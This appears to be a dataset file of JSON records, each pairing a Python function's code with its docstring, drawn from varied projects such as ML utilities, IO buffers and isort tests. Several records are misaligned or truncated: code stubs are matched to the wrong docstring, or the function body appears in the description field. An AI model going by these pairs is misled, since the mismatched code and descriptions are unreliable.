max_steps = 500, init_style = \"normal\", init_stddev = 0.1):\n self.low_dims = low_dims\n self.learning_rate = learning_rate\n self.max_steps = max_steps\n self.init_style = init_style\n self.init_stddev = init_stddev\n self.target = 0.0\n", "nl": "init function@params low_dims : the dimension of transformed data@params learning_rate : default 0.01@params max_steps : the max steps of gradient descent, default 500"} {"code": "def split_data(X, y, ratio=(0.8, 0.1, 0.1)):\n assert(sum(ratio) == 1 and len(ratio) == 3)\n X_train, X_rest, y_train, y_rest = train_test_split(\n X, y, train_size=ratio[0])\n X_val, X_test, y_val, y_test = train_test_split(\n X_rest, y_rest, train_size=ratio[1])\n return X_train, X_val, X_test, y_train, y_val, y_test\n\n", "nl": "Splits data into a training, validation, and test set.Args:X: text datay: data labelsratio: the ratio for splitting. Default: (0.8, 0.1, 0.1)Returns:split data: X_train, X_val, X_test, y_train, y_val, y_test"} {"code": "def _getboolean(self, string):\n if displayof:\n return ('-displayof', displayof)\n else:\n if displayof is None:\n return ('-displayof', self._w)\n return ()\n", "nl": "Internal function.if string:return self.tk.getboolean(string)def _displayof(self, displayof):Internal function."} {"code": "def setBuilderOptions(self, builderClass, options, exclusive=False):\n understoodOptions = builderClass.getDefaultOptions()\n newOptions = {}\n\n for option, value in options.items():\n if option not in understoodOptions:\n raise ValueError(\"Unknown option '%s' for builder '%s'\" \\\n % (option, builderClass.__name__))\n localOptName = '--%s-%s' % (builderClass.__name__, option)\n newOptions[localOptName] = value\n\n if exclusive:", "nl": "Sets the options for the given builder that were specified.:type builderClass: classobj:param builderClass: :class:`~cjklib.build.builder.TableBuilder` class:type options: dict:param options: dictionary of options for the given table builder.:type exclusive: bool:param exclusive: if set to ``True`` unspecified options will be set tothe default value.:raise ValueError: if unknown option is specified"} {"code": "def read1(self, n):\n\n The constructor creates a BufferedWriter for the given writeable raw", "nl": "Reads up to n bytes, with at most one read() system call.# Returns up to n bytes. If at least one byte is buffered, we# only return buffered bytes. Otherwise, we do one raw read.if n < 0:raise ValueError(\"number of bytes to read must be positive\")if n == 0:return b\"\"with self._read_lock:self._peek_unlocked(1)return self._read_unlocked(min(n, len(self._read_buf) - self._read_pos))def tell(self):return _BufferedIOMixin.tell(self) - len(self._read_buf) + self._read_posdef seek(self, pos, whence=0):if not (0 <= whence <= 2):raise ValueError(\"invalid whence value\")with self._read_lock:if whence == 1:pos -= len(self._read_buf) - self._read_pospos = _BufferedIOMixin.seek(self, pos, whence)self._reset_read_buf()return posclass BufferedWriter(_BufferedIOMixin):A buffer for a writeable sequential RawIO object."} {"code": "def add_member(self, member, cursor=None):\n if self.nmembers >= 149:\n raise MemberLimitReached\n if member.status != 'active':\n raise InactiveParticipantAdded\n self.set_take_for(member, Money(-1, member.main_currency), self, cursor=cursor)\n", "nl": "Add a member to this team."} {"code": "def parse_netloc(netloc: str) -> Tuple[str, Optional[int]]:\n url = build_url_from_netloc(netloc)\n parsed = urllib.parse.urlparse(url)\n return parsed.hostname, parsed.port\n\n", "nl": "Return the host-port pair from a netloc."} {"code": "def read(self, size=None):\n if size is not None and size < -1:\n raise ValueError(\"invalid number of bytes to read\")\n with self._read_lock:\n return self._read_unlocked(size)\n", "nl": "Read size bytes.Returns exactly size bytes of data unless the underlying raw IOstream reaches EOF or if the call would block in non-blockingmode. If size is negative, read until EOF or until read() wouldblock."} {"code": "def recover_game(self, index=None) -> tuple:\n if index is None:\n index = self.walkers_id[self.rewards.argmax()]\n return self.tree.get_branch(index)\n", "nl": "By default, returns the game sampled with the highest score.:param index: id of the leaf where the returned game will finish.:return: a list containing the observations of the target sampled game."} {"code": "def _async_startup(event):\n return False\n\n @property", "nl": "Init on startup.sensor_state = self.hass.states.get(self.sensor_entity_id)if sensor_state and sensor_state.state != STATE_UNKNOWN:self._async_update_temp(sensor_state)self.hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, _async_startup)# Check If we have an old stateold_state = await self.async_get_last_state()if old_state is not None:# If we have no initial temperature, restoreif self._target_temp is None:# If we have a previously saved temperatureif old_state.attributes.get(ATTR_TEMPERATURE) is None:if self.ac_mode:self._target_temp = self.max_tempelse:self._target_temp = self.min_temp_LOGGER.warning(\"Undefined target temperature, falling back to %s\", self._target_temp)else:self._target_temp = float(old_state.attributes[ATTR_TEMPERATURE])else:if old_state.attributes[ATTR_TEMPERATURE]:self._target_temp = float(old_state.attributes[ATTR_TEMPERATURE])# if old_state.attributes.get(ATTR_PRESET_MODE) == PRESET_AWAY:# self._is_away = Trueif old_state.attributes.get(ATTR_PRESET_MODE) is not None:self._attr_preset_mode = old_state.attributes.get(ATTR_PRESET_MODE)if not self._hvac_mode and old_state.state:self._hvac_mode = old_state.stateelse:# No previous state, try and restore defaultsif self._target_temp is None:if self.ac_mode:self._target_temp = self.max_tempelse:self._target_temp = self.min_temp_LOGGER.warning(\"No previously saved temperature, setting to %s\", self._target_temp)# Set default state to offif not self._hvac_mode:self._hvac_mode = HVAC_MODE_OFF@propertydef should_poll(self):Return the polling state."} {"code": "def test_resolve(self):\n self.assertEqual(self.alias.resolve({self.address: 'bar'}), None)\n\n", "nl": "L{resolve} will look for additional aliases when an C{aliasmap}dictionary is passed, and returns L{None} if none were found."} {"code": "def new_alerts(post_data):\n data = json.loads(post_data)\n\n person, unit, key = coredata.validate_rest.validate_credentials(data)\n errors = _create_alerts(data, person, unit)\n return errors\n", "nl": "Parses the JSON post data, validates, and save the advisor notes"} {"code": "def area_from_string(string, config):\n if not set_of_areas:\n set_of_areas = set()\n assert area.name not in set_of_areas\n set_of_areas.add(area.name)\n\n for child in area.children:\n set_of_areas = are_all_areas_unique(child, set_of_areas)\n\n return set_of_areas", "nl": "Recover area from its json string representationreturn area_from_dict(json.loads(string), config)def are_all_areas_unique(area, set_of_areas=None):Assert that all areas have unique names. Currently disabled."} {"code": "def get_dbc_tooltips(dbc_table, desc_dict, hover_id, name):\n tooltips_dict = {}\n for tr in dbc_table.children[1].children:\n tds = tr.children\n label = tds[0].children\n if label in desc_dict:\n tr.id = f'{hover_id}-{label}-'+name\n tooltips_dict[label] = desc_dict[label]\n\n tooltips = [dbc.Tooltip(desc,\n target=f'{hover_id}-{label}-'+name,\n placement=\"top\") for label, desc in tooltips_dict.items()]\n\n return dbc_table, tooltips\n\n", "nl": "Return a dbc.Table and a list of dbc.Tooltips.Args:dbc_table (dbc.Table): Table with first column consisting of labeldesc_dict (dict): dict that map labels to a description (str)hover_id (str): dash component_id base: tooltips will havecomponent_id=f\"{hover_id}-{label}-{name}\"name (str): name to be used in hover_idReturns:dbc.Table, List[dbc.Tooltip]"} {"code": "def modelToolTip(self):\n toolTip = self.filePath()\n\n if toolTip is None:\n return None\n\n if self.qutepart.document().isModified():\n toolTip += \"
%s\" % self.tr(\"Locally Modified\")\n if self._externallyModified:\n toolTip += \"
%s\" % self.tr(\"Externally Modified\")\n if self._externallyRemoved:\n toolTip += \"
%s\" % self.tr(\"Externally Deleted\")\n return '' + toolTip + ''\n", "nl": "Tool tip for the opened files model"} {"code": "def __init__(self, rgb_scale: bool, x_min=0, x_max=255, L=256):\n super(DiscretizedMixLogisticLoss, self).__init__()\n self.rgb_scale = rgb_scale\n self.x_min = x_min\n self.x_max = x_max\n self.L = L\n self.use_coeffs = rgb_scale\n self._num_params = (\n _NUM_PARAMS_RGB if rgb_scale else\n _NUM_PARAMS_OTHER)\n\n self._nonshared_coeffs_act = torch.sigmoid\n\n self.bin_width = (x_max - x_min) / (L-1)\n self.x_lower_bound = x_min + 0.001\n self.x_upper_bound = x_max - 0.001\n\n self._extra_repr = 'DMLL: x={}, L={}, coeffs={}, P={}, bin_width={}'.format(\n (self.x_min, self.x_max), self.L, self.use_coeffs, self._num_params, self.bin_width)\n", "nl": ":param rgb_scale: Whether this is the loss for the RGB scale. In that case,use_coeffs=True_num_params=_NUM_PARAMS_RGB == 4, since we predict coefficients lambda. See note above.:param x_min: minimum value in targets x:param x_max: maximum value in targets x:param L: number of symbols"} {"code": "def render_pep440(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"] or pieces[\"dirty\"]:\n rendered += plus_or_dot(pieces)\n rendered += \"%%d.g%%s\" %% (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n else:\n rendered = \"0+untagged.%%d.g%%s\" %% (pieces[\"distance\"],\n pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n return rendered\n\n", "nl": "Build up version string, with post-release \"local version identifier\".Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if youget a tagged build and then dirty it, you'll get TAG+0.gHEX.dirtyExceptions:1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]"} {"code": "def forward(self, X: torch.Tensor) -> Dict[str, Any]:\n\n out = super().forward(X)\n z = F.normalize(self.projector(out[\"feats\"]))\n p = torch.stack([p(z) for p in self.prototypes])\n out.update({\"z\": z, \"p\": p})\n return out\n", "nl": "Performs the forward pass of the backbone, the projector and the prototypes.Args:X (torch.Tensor): a batch of images in the tensor format.Returns:Dict[str, Any]:a dict containing the outputs of the parent,the projected features and the logits."} {"code": "def handle_exception(self):\n return self._exceptions[:]\n", "nl": "Append the current exception to self.self._exceptions.append(sys.exc_info()[1])def get_instances(self):Return a list of seen exception instances."} {"code": "def getincrementaldecoder(encoding):\n decoder = lookup(encoding).incrementaldecoder\n if decoder is None:\n raise LookupError(encoding)\n return decoder\n", "nl": " Lookup up the codec for the given encoding and returnits IncrementalDecoder class or factory function.Raises a LookupError in case the encoding cannot be foundor the codecs doesn't provide an incremental decoder."} {"code": "def register_finder(importer_type, distribution_finder):\n _distribution_finders[importer_type] = distribution_finder\n\n", "nl": "Register `distribution_finder` to find distributions in sys.path items`importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path itemhandler), and `distribution_finder` is a callable that, passed a pathitem and the importer instance, yields ``Distribution`` instances found onthat path item. See ``pkg_resources.find_on_path`` for an example."} {"code": "def __init__(self, config, consumer=None, profile=None, quantity=None):\n self.set_process_name()\n LOGGER.info('rejected v%s initializing', __version__)\n super(MasterControlProgram, self).__init__()\n\n self._active_cache = None\n self.consumer_cfg = self.get_consumer_cfg(config, consumer, quantity)\n self.consumers = {}\n self.config = config\n self.last_poll_results = {}\n self.poll_data = {'time': 0, 'processes': []}\n self.poll_timer = None\n self.profile = profile\n self.results_timer = None\n self.stats = {}\n self.stats_queue = multiprocessing.Queue()\n self.polled = False\n self.unresponsive = collections.Counter()\n\n self.child_abort = False\n\n self.log_stats_enabled = config.application.get('stats', {}).get(\n 'log', config.application.get('log_stats', False))\n LOGGER.debug('Stats logging enabled: %s', self.log_stats_enabled)\n\n self.poll_interval = config.application.get('poll_interval',\n self.POLL_INTERVAL)\n LOGGER.debug('Set process poll interval to %.2f', self.poll_interval)\n", "nl": "Initialize the Master Control Program:param config: The full content from the YAML config file:type config: helper.config.Config:param str consumer: If specified, only run processes for this consumer:param str profile: Optional profile output directory toenable profiling"} {"code": "def recordManualAnchors(library_config, knowledge_config, lib_name, prompter):\n src_file_names = []\n prompter.info(\"Loading the information regarding the compiled source files\")\n prompter.addIndent()\n files_config = library_config[JSON_TAG_FILES]\n for full_file_path in files_config:\n prompter.debug(f\"Parsing the canonical representation of file: {full_file_path.split(os.path.sep)[-1]}\")\n src_file_names.append(full_file_path)\n parseFileStats(full_file_path, files_config[full_file_path])\n prompter.removeIndent()\n\n src_functions_list, src_functions_ctx, src_file_mappings = getSourceFunctions()\n", "nl": "Record the list of user defined manual anchor matches.Args:library_config (json): json loaded data from the library's configurationknowledge_config (dict): a mapping of all of the accumulated knowledge for the currently analysed binarylib_name (str): name of the open source library that will contain these manual anchorsprompter (prompter): prompter instanceReturn Value:Updated knowledge mapping (to be stored back as a *json file)"} {"code": "def test_verify_token_allowed(self):\n user = VerifyEmailUserFactory.build()\n token = user.generate_validation_token()\n with self.assertRaises(self.view_instance.invalid_exception_class):\n self.view_instance.verify_token(self.request, token=token)\n", "nl": "Assert a user can verify its own email.self.view_instance.verify_token(self.request, token=self.token)self.assertEqual(self.view_instance.user, self.user)def test_verify_token_invalid_user(self):Assert a nonexistent user throws an exception."} {"code": "def create_spec(method_name: str, signature: Signature, name: str, docs: str):\n", "nl": "Generates OpenAPI schema definition for given method:param method_name: name of method:param signature: types of arguments and type of return value:param name: name of the interface:param docs: docs for method:return: dict with OpenAPi schema definition"} {"code": "def collect_commands(self, folder: str) -> Iterable[CLICommand]:\n pm = PluginManager()\n pm.setPluginPlaces([folder])\n pm.include_patterns = [\"commands\"]\n pm.exclude_classes = [\"CLICommand\"]\n pm.collectPlugins()\n for cmd_class in get_available_classes(pm, interface=CLICommand):\n if cmd_class.usable_from_root:\n yield cmd_class()", "nl": "Use plugins to load CLICommand classes for commands.Parameters:folder: Folder to search."} {"code": "def test_uris(self):\n self.assertEqual(\"http://xn--o3h.com/%E2%98%84\", iri2uri(u\"http://\\N{COMET}.com/\\N{COMET}\"))\n self.assertEqual(\"http://bitworking.org/?fred=%E2%98%84\", iri2uri(u\"http://bitworking.org/?fred=\\N{COMET}\"))\n self.assertEqual(\"http://bitworking.org/\n self.assertEqual(\"\n self.assertEqual(\"/fred?bar=%E2%98%9A\n self.assertEqual(\"/fred?bar=%E2%98%9A\n self.assertNotEqual(\"/fred?bar=%E2%98%9A\n\n unittest.main()\n\n", "nl": "Test that URIs are invariant under the transformation.invariant = [u\"ftp://ftp.is.co.za/rfc/rfc1808.txt\",u\"http://www.ietf.org/rfc/rfc2396.txt\",u\"ldap://[2001:db8::7]/c=GB?objectClass?one\",u\"mailto:John.Doe@example.com\",u\"news:comp.infosystems.www.servers.unix\",u\"tel:+1-816-555-1212\",u\"telnet://192.0.2.16:80/\",u\"urn:oasis:names:specification:docbook:dtd:xml:4.1.2\" ]for uri in invariant:self.assertEqual(uri, iri2uri(uri))def test_iri(self): Test that the right type of escaping is done for each part of the URI."} {"code": "def update_mesh(bm, int_dict):\n\n orig_e = bm.edges\n orig_v = bm.verts\n\n new_verts = []\n collect = new_verts.extend\n for _, point_list in int_dict.items():\n num_edges_to_add = len(point_list) - 1\n for i in range(num_edges_to_add):\n coord_a = orig_v.new(point_list[i])\n coord_b = orig_v.new(point_list[i + 1])\n orig_e.new((coord_a, coord_b))\n bm.normal_update()\n collect([coord_a, coord_b])\n\n bmesh.ops.delete(bm, geom=[edge for edge in bm.edges if edge.select], context=\"EDGES\")\n bmesh.ops.remove_doubles(bm, verts=bm.verts, dist=0.0001)\n\n", "nl": "Make new geometry (delete old first).Args:bm, Object's Bmeshint_dict: Dictionary of Indices of VerticesReturns:Nothing."} {"code": "def black_test(code: str, expected_output: str = \"\"):\n expected_output = expected_output or code\n\n output = isort.code(code, profile=\"black\")\n assert output == isort.code(code, profile=\"black\")\n\n black_output = black_format(output)\n assert output == black_output\n\n assert output == expected_output\n\n", "nl": "Tests that the given code:- Behaves the same when formatted multiple times with isort.- Agrees with black formatting.- Matches the desired output or itself if none is provided."} {"code": "def one_hot_it(label, label_values):\n\n semantic_map = []\n for colour in label_values:\n equality = np.equal(label, colour)\n class_map = np.all(equality, axis = -1)\n semantic_map.append(class_map)\n semantic_map = np.stack(semantic_map, axis=-1)\n\n return semantic_map\n", "nl": "Convert a segmentation image label array to one-hot formatby replacing each pixel value with a vector of length num_classes# Argumentslabel: The 2D array segmentation image labellabel_values# ReturnsA 2D array with the same width and hieght as the input, butwith a depth size of num_classes"} {"code": "def set_move(self, colour, move):\n if colour not in ('b', 'w'):\n raise ValueError\n if b'B' in self._property_map:\n del self._property_map[b'B']\n if b'W' in self._property_map:\n del self._property_map[b'W']\n self.set(colour.upper().encode('ascii'), move)\n", "nl": "Set the B or W property.colour -- 'b' or 'w'.move -- (row, col), or None for a pass.Replaces any existing B or W property in the node."} {"code": "def stacklists(arg):\n if isinstance(arg, (tuple, list)):\n return stack(list(map(stacklists, arg)))\n else:\n return arg\n\n", "nl": "Recursively stack lists of tensors to maintain similar structure.This function can create a tensor from a shaped list of scalars:Examples-------->>> from theano.tensor import stacklists, scalars, matrices>>> from theano import function>>> a, b, c, d = scalars('abcd')>>> X = stacklists([[a, b], [c, d]])>>> f = function([a, b, c, d], X)>>> f(1, 2, 3, 4)array([[ 1., 2.],[ 3., 4.]], dtype=float32)We can also stack arbitrarily shaped tensors. Here we stack matrices intoa 2 by 2 grid:>>> from numpy import ones>>> a, b, c, d = matrices('abcd')>>> X = stacklists([[a, b], [c, d]])>>> f = function([a, b, c, d], X)>>> x = ones((4, 4), 'float32')>>> f(x, x, x, x).shape(2, 2, 4, 4)"} {"code": "def GetContextDim(self):\n", "nl": "Returns the context dimension.raise NotImplementedError('GetContextDim')class NullContextualizer(ContextualizerBase):An 'empty' or no-op contextualizer."} {"code": "def available_options(self, jarvis):\n\n jarvis.say('\\nSelect one of the following options:')\n jarvis.say('1: Select input microphone to use')\n jarvis.say('2: Record and recognize music')\n jarvis.say('3: Quit')\n", "nl": "Message displayed to prompt the user about actions ofmusic recognition plugin."} {"code": "def gen_title_rst(txt):\n (desc, params, example) = parse_fun_block(txt)\n directive = gen_rst_directive(name, params)\n example_rst = gen_example_rst(example)\n res = \"\"\"\n directive=directive,\n desc=indent(desc, 2),\n example=example_rst)\n return res\n\n", "nl": " Generate rst title from a cmake comment. # Just add a few useful directivestxt = \".. highlight:: cmake\\n\\n\" + txtreturn txtdef gen_fun_rst(name, txt): Generate rst documentation for a documentation from a name an a text. "} {"code": "def log_text(self) -> Optional[str]:\n if not self.log_path.exists():\n return None\n try:\n with open(self.log_path, 'r') as f:\n text = f.read()\n except Exception as e:\n warn(e)\n text = None\n return text\n\n @property", "nl": "Read the log file and return its contents.Returns `None` if the log file does not exist.Parameters----------Returns-------"} {"code": "def _show_progress(self, n, total_runs):\n result_dict = {'traj': self._traj,\n 'logging_manager': self._logging_manager,\n 'runfunc': self._runfunc,\n 'runargs': self._args,\n 'runkwargs': self._kwargs,\n 'clean_up_runs': self._clean_up_runs,\n 'automatic_storing': self._automatic_storing,\n 'wrap_mode': self._wrap_mode,\n 'niceness': self._niceness,\n 'graceful_exit': self._graceful_exit}\n result_dict.update(kwargs)\n if self._multiproc:\n if self._use_pool or self._use_scoop:\n if self._use_scoop:\n del result_dict['graceful_exit']\n if self._freeze_input:\n result_dict['full_copy'] = self.traj.v_full_copy\n if self._map_arguments:\n del result_dict['runargs']\n del result_dict['runkwargs']\n else:\n result_dict['clean_up_runs'] = False\n if self._use_pool:\n del result_dict['logging_manager']\n del result_dict['niceness']\n else:\n result_dict['clean_up_runs'] = False\n return result_dict\n", "nl": "Displays a progressbarself._logging_manager.show_progress(n, total_runs)def _make_kwargs(self, **kwargs):Creates the keyword arguments for the single run handling"} {"code": "def predict_proba(self, X):\n\n Parameters\n ----------\n X : list[Tensor]\n List of test samples.\n y : np.ndarray\n True labels for test samples.\n\n Returns\n -------\n acc : np.float64\n Mean accuracy of ``self.predict(X)`` with respect to ``y``.\n \"\"\"", "nl": " Compute probabilities of possible outcomes for samples in the provided data. self._assert_test_data(X=X)return super(LSSTM, self).predict_proba(X=X)def score(self, X, y): Returns the mean accuracy on the given test data and labels."} {"code": "def iavg(x, m=0.0, sd=0.0, n=0):\n n += 1\n v = sd ** 2 + m ** 2\n v += (x ** 2 - v) / n\n m += (x ** 1 - m) / n\n sd = (v - m ** 2) ** 0.5\n return m, sd, n\n\n", "nl": " Returns the iterative (mean, standard deviation, number of samples)."} {"code": "def testChangeMultipleAcls(self):\n bucket = self.CreateBucket()\n\n test_regex = self._MakeScopeRegex('OWNER', 'user', self.USER_TEST_ADDRESS)", "nl": "Tests defacl ch with multiple ACL entries.bucket = self.CreateBucket()test_regex_group = self._MakeScopeRegex('READER', 'group',self.GROUP_TEST_ADDRESS)test_regex_user = self._MakeScopeRegex('OWNER', 'user',self.USER_TEST_ADDRESS)json_text = self.RunGsUtil(self._defacl_get_prefix + [suri(bucket)],return_stdout=True)self.assertNotRegex(json_text, test_regex_group)self.assertNotRegex(json_text, test_regex_user)self.RunGsUtil(self._defacl_ch_prefix + ['-g', self.GROUP_TEST_ADDRESS + ':READ', '-u', self.USER_TEST_ADDRESS +':fc',suri(bucket)])json_text = self.RunGsUtil(self._defacl_get_prefix + [suri(bucket)],return_stdout=True)self.assertRegex(json_text, test_regex_group)self.assertRegex(json_text, test_regex_user)def testEmptyDefAcl(self):bucket = self.CreateBucket()self.RunGsUtil(self._defacl_set_prefix + ['private', suri(bucket)])stdout = self.RunGsUtil(self._defacl_get_prefix + [suri(bucket)],return_stdout=True)self.assertEquals(stdout.rstrip(), '[]')self.RunGsUtil(self._defacl_ch_prefix +['-u', self.USER_TEST_ADDRESS +':fc', suri(bucket)])def testDeletePermissionsWithCh(self):Tests removing permissions with defacl ch."} {"code": "def fspecial_gauss(size, sigma):\n x, y = np.mgrid[-size//2 + 1:size//2 + 1, -size//2 + 1:size//2 + 1]\n g = np.exp(-((x**2 + y**2)/(2.0*sigma**2)))\n return g/g.sum()\n", "nl": "Function to mimic the 'fspecial' gaussian MATLAB function"} {"code": "def local_error_convop(node, context_name):\n\n\n@register_opt('fast_compile')\n@op_lifter([AbstractConv2d,\n AbstractConv2d_gradWeights,\n AbstractConv2d_gradInputs])", "nl": "assert False, ConvOp does not work with the gpuarray backend.Use the new convolution interface to have GPU convolution working:theano.tensor.nnet.conv2d()"} {"code": "def ProcessFile(gmock_header_path):\n\n processed_files = sets.Set()\n", "nl": "Processes the given gmock header file.# We don't process the same header twice.if gmock_header_path in processed_files:returnprocessed_files.add(gmock_header_path)# Reads each line in the given gmock header.for line in file(os.path.join(gmock_root, gmock_header_path), 'r'):m = INCLUDE_GMOCK_FILE_REGEX.match(line)if m:# It's '#include \"gmock/...\"' - let's process it recursively.ProcessFile('include/' + m.group(1))else:m = gtest.INCLUDE_GTEST_FILE_REGEX.match(line)if m:# It's '#include \"gtest/foo.h\"'. We translate it to# \"gtest/gtest.h\", regardless of what foo is, since all# gtest headers are fused into gtest/gtest.h.# There is no need to #include gtest.h twice.if not gtest.GTEST_H_SEED in processed_files:processed_files.add(gtest.GTEST_H_SEED)output_file.write('#include \"%s\"\\n' % (gtest.GTEST_H_OUTPUT,))else:# Otherwise we copy the line unchanged to the output file.output_file.write(line)ProcessFile(GMOCK_H_SEED)output_file.close()def FuseGMockAllCcToFile(gmock_root, output_file):Scans folder gmock_root to fuse gmock-all.cc into output_file."} {"code": "def test__handle_transaction_receipt_approve(self):\n ledger_api_dialogue = self.prepare_skill_dialogue(\n self.ledger_api_dialogues, self.list_of_ledger_api_messages[2:3]\n )\n contract_api_dialogue = self.prepare_skill_dialogue(\n self.contract_api_dialogues, self.list_of_contract_api_messages[:1]\n )\n signing_dialogue = self.prepare_skill_dialogue(\n self.signing_dialogues, self.list_of_signing_messages[:1]\n )\n\n terms = Terms(*DEFAULT_TERMS, label=\"query\")\n\n strategy = cast(Strategy, self.simple_oracle_client_behaviour.context.strategy)\n strategy.is_client_contract_deployed = True\n strategy.is_oracle_role_granted = True\n\n contract_api_dialogue.terms = terms\n signing_dialogue.associated_contract_api_dialogue = contract_api_dialogue\n ledger_api_dialogue.associated_signing_dialogue = signing_dialogue\n\n receipt = {\"status\": 1, \"contractAddress\": \"some_contract_address\"}\n transaction_receipt = TransactionReceipt(\n ETHEREUM_LEDGER_ID, receipt, DEFAULT_TX\n )\n incoming_message = self.build_incoming_message_for_skill_dialogue(\n dialogue=ledger_api_dialogue,\n performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,\n transaction_receipt=transaction_receipt,\n )\n\n with patch.object(self.ledger_api_handler.context.logger, \"log\") as mock_logger:\n self.ledger_api_handler.handle(incoming_message)\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"transaction was successfully settled. Transaction receipt={transaction_receipt}\",\n )\n mock_logger.assert_any_call(\n logging.INFO, \"Oracle value successfully requested!\",\n )\n\n self.assert_quantity_in_outbox(0)\n", "nl": "Test handling an approve transaction receipt# setupledger_api_dialogue = self.prepare_skill_dialogue(self.ledger_api_dialogues, self.list_of_ledger_api_messages[2:3])contract_api_dialogue = self.prepare_skill_dialogue(self.contract_api_dialogues, self.list_of_contract_api_messages[:1])signing_dialogue = self.prepare_skill_dialogue(self.signing_dialogues, self.list_of_signing_messages[:1])terms = Terms(*DEFAULT_TERMS, label=\"approve\")strategy = cast(Strategy, self.simple_oracle_client_behaviour.context.strategy)strategy.is_client_contract_deployed = Truecontract_api_dialogue.terms = termssigning_dialogue.associated_contract_api_dialogue = contract_api_dialogueledger_api_dialogue.associated_signing_dialogue = signing_dialoguereceipt = {\"status\": 1, \"contractAddress\": \"some_contract_address\"}transaction_receipt = TransactionReceipt(ETHEREUM_LEDGER_ID, receipt, DEFAULT_TX)incoming_message = self.build_incoming_message_for_skill_dialogue(dialogue=ledger_api_dialogue,performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,transaction_receipt=transaction_receipt,)# operationwith patch.object(self.ledger_api_handler.context.logger, \"log\") as mock_logger:self.ledger_api_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.INFO,f\"transaction was successfully settled. Transaction receipt={transaction_receipt}\",)mock_logger.assert_any_call(logging.INFO, \"Oracle client transactions approved!\",)assert (self.simple_oracle_client_behaviour.context.strategy.is_oracle_transaction_approved), \"Contract deployment status not set\"self.assert_quantity_in_outbox(0)def test__handle_transaction_receipt_query(self):Test handling a query transaction receipt"} {"code": "def restore(delta, which):\n try:\n tag = {1: \"- \", 2: \"+ \"}[int(which)]\n except KeyError:\n raise ValueError('unknown delta choice (must be 1 or 2): %r'\n % which) from None\n prefixes = (\" \", tag)\n for line in delta:\n if line[:2] in prefixes:\n yield line[2:]\n", "nl": "rGenerate one of the two sequences that generated a delta.Given a `delta` produced by `Differ.compare()` or `ndiff()`, extractlines originating from file 1 or 2 (parameter `which`), stripping off lineprefixes.Examples:>>> diff = ndiff('one\\ntwo\\nthree\\n'.splitlines(keepends=True),... 'ore\\ntree\\nemu\\n'.splitlines(keepends=True))>>> diff = list(diff)>>> print(''.join(restore(diff, 1)), end=\"\")onetwothree>>> print(''.join(restore(diff, 2)), end=\"\")oretreeemu"} {"code": "def paste_server(app, gcfg=None, host=\"127.0.0.1\", port=None, **kwargs):\n\n util.warn(\"\"\"This command is deprecated.\n\n from gunicorn.app.pasterapp import PasterServerApplication\n PasterServerApplication(app, gcfg=gcfg, host=host, port=port, **kwargs).run()", "nl": "\\A paster server.Then entry point in your paster ini file should looks like this:[server:main]use = egg:gunicorn#mainhost = 127.0.0.1port = 5000"} {"code": "def TopEqual(mol1, mol2):\n Determine whether two Molecule objects have the same fragments by\n looking at elements and connectivity graphs. This is less strict\n than TopEqual (i.e. more often returns True).\n \"\"\"", "nl": " For the nanoreactor project: Determine whether two Molecule objects have the same topologies. # Checks to see if the two molecule objects have the same fragments.GraphEqual = Counter(mol1.molecules) == Counter(mol2.molecules)# Checks to see whether the molecule objects have the same atoms in each fragment.AtomEqual = Counter([tuple(m.L()) for m in mol1.molecules]) == Counter([tuple(m.L()) for m in mol2.molecules])return GraphEqual and AtomEqualdef MolEqual(mol1, mol2):"} {"code": "def test_sort_within_section() -> None:\n test_input = (\n \"import foo\\n\"\n \"from foo import bar\\n\"\n \"from foo.bar import Quux, baz\\n\"\n \"from Foob import ar\\n\"\n )\n test_output = isort.code(\n test_input, force_sort_within_sections=True, honor_case_in_force_sorted_sections=True\n )\n assert test_output == test_input\n\n test_input = (\n \"import foo\\n\"\n \"from foo import bar\\n\"\n \"from foo.bar import baz\\n\"\n \"from foo.bar import Quux\\n\"\n \"from Foob import ar\\n\"\n )\n test_output = isort.code(\n code=test_input,\n force_sort_within_sections=True,\n honor_case_in_force_sorted_sections=True,\n order_by_type=False,\n force_single_line=True,\n )\n assert test_output == test_input\n\n test_input = (\n \"from Foob import ar\\n\"\n \"import foo\\n\"\n \"from foo import bar\\n\"\n \"from foo.bar import baz\\n\"\n \"from foo.bar import Quux\\n\"\n )\n test_output = isort.code(\n code=test_input,\n case_sensitive=True,\n force_sort_within_sections=True,\n honor_case_in_force_sorted_sections=True,\n order_by_type=False,\n force_single_line=True,\n )\n assert test_output == test_input\n\n test_input = (\n \"from Foob import ar\\n\" \"import foo\\n\" \"from foo import Quux\\n\" \"from foo import baz\\n\"\n )\n test_output = isort.code(\n code=test_input,\n case_sensitive=True,\n force_sort_within_sections=True,\n honor_case_in_force_sorted_sections=True,\n order_by_type=True,\n force_single_line=True,\n )\n assert test_output == test_input\n\n", "nl": "Test to ensure its possible to force isort to sort within sectionstest_input = (\"from Foob import ar\\n\"\"import foo\\n\"\"from foo import bar\\n\"\"from foo.bar import Quux, baz\\n\")test_output = isort.code(test_input, force_sort_within_sections=True)assert test_output == test_inputtest_input = (\"import foo\\n\"\"from foo import bar\\n\"\"from foo.bar import baz\\n\"\"from foo.bar import Quux\\n\"\"from Foob import ar\\n\")test_output = isort.code(code=test_input,force_sort_within_sections=True,order_by_type=False,force_single_line=True,)assert test_output == test_inputtest_input = (\"import foo\\n\"\"from foo import bar\\n\"\"from foo.bar import baz\\n\"\"from foo.bar import Quux\\n\"\"from Foob import ar\\n\")test_output = isort.code(code=test_input,case_sensitive=True,force_sort_within_sections=True,order_by_type=False,force_single_line=True,)assert test_output == test_inputtest_input = (\"from Foob import ar\\n\" \"import foo\\n\" \"from foo import Quux\\n\" \"from foo import baz\\n\")test_output = isort.code(code=test_input,case_sensitive=True,force_sort_within_sections=True,order_by_type=True,force_single_line=True,)assert test_output == test_inputdef test_sort_within_section_case_honored() -> None:Ensure isort can do partial case-sensitive sorting in force-sorted sections"} {"code": "def setup_class(cls):\n 